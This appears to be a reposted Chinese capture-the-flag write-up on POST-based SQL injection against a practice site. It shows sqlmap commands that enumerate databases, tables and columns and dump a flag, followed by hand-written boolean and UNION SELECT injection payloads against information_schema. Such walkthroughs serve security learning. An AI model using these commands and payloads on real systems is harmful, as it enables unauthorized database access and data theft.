使用sqlmap進行post型sql注入


使用sqlmap進行post型sql注入

輸入id可以得到查詢結果,但是url中並沒有參數提交,使用burp suite抓包。

可以看到請求類型為post,name作為查詢參數可以完全控制。

在抓包頁面右鍵選擇copy to file,保存到sqlmap文件夾下,類型為txt。

運行 python sqlmap.py -r postinject.txt

存在注入點

運行 python sqlmap.py -r postinject.txt -dbs獲取數據庫信息

[10:14:09] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] twosecu1_vuln_06
>python sqlmap.py -r postinject.txt -D twosecu1_vuln_06 --tables
Database: twosecu1_vuln_06
[2 tables]
+------------+
| flag       |
| transcript |
+------------+

>python sqlmap.py -r postinject.txt -D twosecu1_vuln_06 -T flag –columns
Database: twosecu1_vuln_06
Table: flag
[2 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| flag   | varchar(255) |
| id     | int(11)      |
+--------+--------------+

> python sqlmap.py -r postinject.txt -D twosecu1_vuln_06 -T flag –C id,flag --dump
Database: twosecu1_vuln_06
Table: flag
[2 entries]
+----+-------------+
| id | flag        |
+----+-------------+
| 1  | two{Il0ve_5 |
| 2  | tUdy_Up}    |
+----+-------------+

得到flag

嘗試進行手工注入

輸入1' and 1=1#正常1' and 1=2#無回顯內容

  • 獲取顯示位

測試到1' order by 6#時報錯,所以有5個顯示位

  • 查看所有數據庫

1' union select 1,2,3,4,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA#

  • 查找 twosecu1_vuln_06下的表

1' union select 1,2,3,4,group_concat(table_name) from information_schema.tables where table_schema='twosecu1_vuln_06'#

flag,transcript

  • 查看 flag表中的列名

1' union select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_name='flag'#

id,flag

  • 查看flag中字段

1' union select 1,2,3,4,flag from twosecu1_vuln_06.flag#

two{Il0ve_5

發現只有前半行,后半部分在下一行

1' union select 1,2,3,4,flag from twosecu1_vuln_06.flag where id=2#

tUdy_Up}

合並得到flag


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM